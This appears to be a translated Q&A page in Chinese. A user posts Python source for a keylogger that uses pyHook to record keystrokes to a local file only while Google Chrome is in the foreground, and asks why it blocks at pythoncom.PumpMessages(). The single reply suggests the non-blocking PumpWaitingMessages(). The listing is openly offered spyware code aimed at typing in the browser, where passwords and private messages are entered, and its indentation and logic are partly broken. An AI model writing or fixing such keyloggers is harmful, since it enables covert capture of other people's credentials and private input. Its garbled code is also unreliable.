Google Chrome浏览器的Python键盘记录器

问题描述 投票:0回答:1

我用python创建了一个简单的键盘记录程序,但是我希望它仅在Google Chrome是前台应用程序时运行(我的意思是,只有当用户位于Google Chrome浏览器中时,键盘记录程序才会挂机。如果用户离开Chrome,键盘记录程序将将会停止,依此类推。)当用户首次进入Chrome时,它可以完美运行。但是,如果Foreground应用已切换到另一个应用,则键盘记录程序将继续。我发现问题出在行:pythoncom.Pupmessages()。该代码永远不会在此行之后继续。有人有解决方案吗?

import win32gui
import win32con
import time
import pyHook
import pythoncom
import threading

LOG_FILE = "D:\\Log File.txt"

def OnKeyboardEvent(event): # on key pressed function
    if event.Ascii:
        f = open(LOG_FILE,"a") # (open log_file in append mode)
        char = chr(event.Ascii) # (insert real char in variable)
    if char == "'": # (if char is q)
        f.close() # (close and save log file)
        exit() # (exit program)
    if event.Ascii == 13: # (if char is "return")
        f.write("\n") # (new line)
        f.write(char) # (write char)

def main():
    time.sleep(2)
    hooks = pyHook.HookManager()
    # Finding the Foreground Application at every moment.
    while True:
        time.sleep(0.5)
        newWindowTile = win32gui.GetWindowText(win32gui.GetForegroundWindow())
        print newWindowTile
    # Cheking if google chrome is running in the foreground.
    if 'Google Chrome?' in newWindowTile:
        hooks.KeyDown = OnKeyboardEvent
        hooks.HookKeyboard()
        pythoncom.PumpMessages()
        time.sleep(2)
if __name__ == "__main__":
    main()
python google-chrome keylogger pythoncom
1个回答
2
投票

您需要使用不阻塞的pythoncom.PumpWaitingMessages()pc.PumpWaitingMessages()

© www.soinside.com 2019 - 2024. All rights reserved.